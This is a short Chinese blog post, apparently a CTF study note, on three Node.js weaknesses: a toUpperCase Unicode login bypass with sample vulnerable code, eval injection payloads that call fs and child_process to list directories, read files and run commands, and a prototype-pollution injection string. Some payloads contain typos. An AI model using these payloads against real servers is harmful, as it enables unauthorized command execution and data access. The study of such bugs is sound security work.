NODEJS 最简单的三个漏洞
作者:互联网
NODEJS
1.toUpperCase:
toUpperCase这个函数有个特点:
字符ı、ſ 经过toUpperCase()处理后结果为 I、S
字符K经过toLowerCase()处理后结果为k
利用特点(例题1):
CTFSHOW:
一个登录页面啥也不是,关键在于题目给了我们压缩包。
打开之后:
login.txt:
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
uese.txt
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
找到切入点:
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
name!= CTFSHOW && password=123456 && item.username === name.toUpperCase()
什么意思:name不等于CTFSHOW,但是经过toUpperCase之后的name=CTFSHOW,那这里name就有两个值了:一个是简单的ctfshow(大小写转换直接符合),还有一个就是前面说到的
toUpperCase这个函数有个特点:
字符ı、ſ 经过toUpperCase()处理后结果为 I、S
字符K经过toLowerCase()处理后结果为k
所以name=ctfſhow 也满足
2.fs模块和child_process模块
fs模块:可以用来读取文件以及查看目录
require(‘fs’)
fs.readdirSync(path[, options])都可以用来查看目录
例如:
const fs = require('fs')
try {
const data = fs.readFileSync('/Users/joe/test.txt', 'utf8')
console.log(data)
} catch (err) {
console.error(err)
}
查看当前目录:fs.readdirSync(.) 用点来查看当前目录
查看到了当前目录,那么读取当前目录下的文件内容要用到的函数就是:
fs.readfileSync(1.txt)即可读取 。
这里给出playload:
?eval=reqrise('fs').readdirSync(.) 查看当前目录
?eval=require('fs').readfileSync(1.txt) 读取文件
child_process模块:
child_process:简单来说就可以理解成 具有命令执行的模块
如:
直接给出playload:
?eval=reqrise(‘child_process’).execSync(ls /)等等
3.原型链污染:
原型链污染最关键的几个词汇就是:merage、verify、copy
所谓污染,不就是我们自己给一个对象赋值添加了属性,可以是对这个对象的父类,父类的父类添加属性造成污染。
最常见的:
obj.__proto__.proto__ 对象的父类查找
name=1","__proto__":{"localhost":1},"1":"
涉及到拼接,一般都是 “proto”:{“属性”:值}
标签:fs,name,NODEJS,toUpperCase,漏洞,ret,item,简单,password 来源: https://blog.csdn.net/weixin_51353029/article/details/114324712